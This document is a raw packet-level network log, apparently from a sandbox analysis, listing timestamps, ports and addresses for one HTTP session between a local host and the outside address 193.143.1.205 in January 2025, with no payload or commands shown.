Jan 11, 2025 00:39:40.049170017 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:39:40.049181938 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:39:40.049195051 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:39:40.049211979 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 00:39:40.049298048 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:39:40.049314022 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:39:40.049324989 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:39:40.049333096 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 00:39:40.049338102 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:39:40.049350023 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:39:40.049367905 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 00:39:40.049392939 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 00:39:40.049592018 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:39:40.049603939 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:39:40.049614906 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:39:40.049626112 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:39:40.049638033 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:39:40.049649954 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 00:39:40.049655914 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:39:40.049668074 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:39:40.049679041 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:39:40.049679995 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 00:39:40.049694061 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:39:40.049717903 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 00:39:40.049717903 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 00:39:40.049901962 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:39:40.049913883 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:39:40.049926043 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:39:40.049937963 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:39:40.049942970 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 00:39:40.049990892 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:39:40.049993038 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 00:39:40.050004005 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:39:40.050015926 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:39:40.050026894 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:39:40.050039053 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:39:40.050041914 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 00:39:40.050050020 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:39:40.050061941 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:39:40.050076008 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 00:39:40.050103903 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 00:39:40.050559998 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:39:40.050571918 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:39:40.050590038 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:39:40.050600052 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:39:40.050614119 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:39:40.050625086 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:39:40.050632954 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 00:39:40.050637007 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:39:40.050649881 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:39:40.050662994 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:39:40.050666094 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 00:39:40.050677061 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:39:40.050689936 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:39:40.050693989 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 00:39:40.050703049 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:39:40.050715923 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 00:39:40.050715923 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:39:40.050729990 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:39:40.050740957 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:39:40.050754070 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:39:40.050755024 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 00:39:40.050767899 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:39:40.050779104 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:39:40.050791025 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:39:40.050792933 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 00:39:40.050805092 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:39:40.050813913 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 00:39:40.050837040 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 00:39:40.050849915 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 00:39:40.053983927 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:39:40.053996086 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:39:40.054019928 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:39:40.054029942 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:39:40.054040909 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:39:40.054047108 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 00:39:40.054054022 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:39:40.054066896 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:39:40.054085016 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 00:39:40.054088116 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:39:40.054100037 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:39:40.054106951 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 00:39:40.054116011 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:39:40.054125071 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 00:39:40.054153919 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 00:39:40.074596882 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:39:40.074609995 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:39:40.074620008 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:39:40.074632883 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:39:40.074644089 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:39:40.074676991 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:39:40.074789047 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:39:40.074799061 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:39:40.074810982 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:39:40.074822903 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:39:40.074822903 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 00:39:40.074835062 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:39:40.074846983 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:39:40.074856043 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 00:39:40.074862957 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:39:40.074877024 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 00:39:40.074897051 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 00:39:40.075057983 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:39:40.075067997 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:39:40.075086117 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:39:40.075097084 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:39:40.075109005 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:39:40.075119972 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:39:40.075130939 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:39:40.075143099 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:39:40.075155973 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:39:40.075169086 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:39:40.075177908 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:39:40.075203896 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 00:39:40.075236082 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 00:39:40.177845955 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 00:39:40.182869911 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:39:40.182887077 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:39:40.182899952 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:39:40.182913065 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:39:40.182933092 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:39:40.182945013 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:39:40.182957888 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:39:40.182964087 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 00:39:40.182970047 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:39:40.182984114 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:39:40.182995081 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:39:40.183012009 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 00:39:40.183013916 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:39:40.183027983 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:39:40.183033943 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 00:39:40.183039904 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:39:40.183054924 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:39:40.183068037 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:39:40.183079004 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:39:40.183079004 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 00:39:40.183106899 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:39:40.183109999 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 00:39:40.183120012 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:39:40.183131933 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:39:40.183131933 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 00:39:40.183152914 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:39:40.183156013 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 00:39:40.183166027 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:39:40.183177948 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:39:40.183183908 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 00:39:40.183191061 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:39:40.183202028 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:39:40.183212996 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:39:40.183229923 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 00:39:40.183233976 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:39:40.183248997 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:39:40.183259010 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:39:40.183259964 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 00:39:40.183273077 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:39:40.183284998 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:39:40.183288097 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 00:39:40.183291912 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:39:40.183303118 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:39:40.183324099 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:39:40.183334112 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 00:39:40.183350086 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:39:40.183362007 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:39:40.183365107 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 00:39:40.183373928 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:39:40.183393955 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:39:40.183408022 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:39:40.183414936 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:39:40.183419943 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 00:39:40.183420897 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:39:40.183419943 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 00:39:40.183435917 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:39:40.183449030 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:39:40.183455944 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 00:39:40.183464050 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:39:40.183474064 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 00:39:40.183475971 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:39:40.183489084 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:39:40.183495045 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 00:39:40.183501959 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:39:40.183512926 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:39:40.183514118 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 00:39:40.183526993 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:39:40.183538914 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:39:40.183547020 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 00:39:40.183552980 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:39:40.183566093 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:39:40.183578968 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 00:39:40.183579922 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:39:40.183595896 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 00:39:40.183615923 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 00:39:40.183681965 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:39:40.183728933 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:39:40.183741093 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:39:40.183753967 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:39:40.183767080 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 00:39:40.183768034 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:39:40.183788061 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 00:39:40.183809042 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:39:40.183820009 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:39:40.183840990 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:39:40.183844090 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 00:39:40.183852911 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:39:40.183866024 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:39:40.183873892 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 00:39:40.183878899 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:39:40.183904886 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 00:39:40.183923960 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:39:40.183937073 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:39:40.183947086 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:39:40.183959007 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:39:40.183964014 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 00:39:40.183974028 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:39:40.183994055 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:39:40.183994055 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 00:39:40.184007883 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:39:40.184015989 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 00:39:40.184020996 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:39:40.184036016 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:39:40.184043884 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 00:39:40.184082031 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 00:39:40.184154987 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:39:40.184166908 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:39:40.184179068 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:39:40.184190035 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:39:40.184201956 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:39:40.184211016 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 00:39:40.184214115 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:39:40.184226990 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:39:40.184238911 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:39:40.184251070 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:39:40.184262037 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:39:40.184277058 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 00:39:40.184277058 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:39:40.184283972 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 00:39:40.184293032 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:39:40.184310913 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:39:40.184319019 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 00:39:40.184350967 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 00:39:40.184679985 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:39:40.184690952 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:39:40.184703112 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:39:40.184710026 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:39:40.184720039 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 00:39:40.184720993 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:39:40.184736013 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:39:40.184751034 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:39:40.184757948 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 00:39:40.184762001 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:39:40.184777021 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:39:40.184787989 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 00:39:40.184830904 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 00:39:40.184885025 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:39:40.184896946 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:39:40.184909105 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:39:40.184921026 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:39:40.184933901 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:39:40.184935093 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 00:39:40.184947014 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:39:40.184954882 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 00:39:40.184963942 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:39:40.184977055 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:39:40.184988976 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:39:40.184988976 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 00:39:40.185003042 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:39:40.185017109 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 00:39:40.185049057 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 00:39:40.185410976 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:39:40.185422897 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:39:40.185430050 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:39:40.185435057 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:39:40.185446024 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:39:40.185451984 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:39:40.185463905 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:39:40.185477018 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:39:40.185477972 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 00:39:40.185484886 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:39:40.185497999 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:39:40.185504913 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 00:39:40.185511112 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:39:40.185518026 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:39:40.185528994 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:39:40.185532093 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 00:39:40.185542107 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:39:40.185553074 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 00:39:40.185589075 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 00:39:40.188613892 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:39:40.188654900 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:39:40.188700914 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 00:39:40.188783884 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:39:40.188802958 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:39:40.188816071 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:39:40.188827991 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:39:40.188841105 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:39:40.188844919 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 00:39:40.188853025 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:39:40.188867092 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 00:39:40.188908100 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 00:39:40.214262009 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:39:40.214335918 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:39:40.214348078 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:39:40.214359999 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:39:40.214373112 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:39:40.214380026 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 00:39:40.214386940 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:39:40.214399099 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:39:40.214407921 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 00:39:40.214411020 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:39:40.214457035 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 00:39:40.214626074 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:39:40.214647055 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:39:40.214659929 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:39:40.214670897 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:39:40.214684010 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:39:40.214684010 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 00:39:40.214695930 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:39:40.214704037 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 00:39:40.214708090 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:39:40.214732885 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 00:39:40.222614050 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:39:40.222625017 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:39:40.222636938 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:39:40.222657919 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:39:40.222670078 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:39:40.222678900 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 00:39:40.222681999 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:39:40.222729921 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 00:39:40.222754002 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:39:40.222780943 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:39:40.222790956 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 00:39:40.222879887 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:39:40.222891092 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:39:40.222901106 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:39:40.222917080 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 00:39:40.222924948 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:39:40.222934008 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 00:39:40.222934961 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:39:40.222955942 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:39:40.222965956 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:39:40.222976923 CET	80	49730	193.143.1.205	192.168.2.4
